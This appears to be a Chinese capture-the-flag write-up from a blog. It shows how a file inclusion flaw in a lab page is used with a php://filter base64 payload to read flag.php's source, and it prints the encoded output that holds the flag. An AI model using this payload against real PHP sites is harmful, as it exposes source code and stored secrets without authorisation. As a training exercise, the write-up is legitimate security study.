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进入靶场

点击tips

url中有?file=flag.php 猜测文件包含漏洞（文件包含漏洞于是对?file=后面的文件进行测试），尝试文件包含漏洞中，文件
包含直接读取的是文件，而不是文件源码，所以要想办法读取源码

php://filter/read=convert.base64-encode/resource=xxx.php

这个方法可以读取代码

构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

 

得到的是一段字符串：

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZmY5ODRjZDktNGQ2ZC00ZTA1LTgzYzAtMDE4M2Q4ODRmOGM2fQo= 

https://blog.csdn.net/weixin_59453707
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_59453707/article/details/118990414


尝试 进行base64解码

最终得到flag 

eg：常见文件包含漏洞总结

内容来自：https://blog.csdn.net/qq_42181428/article/details/87090539 
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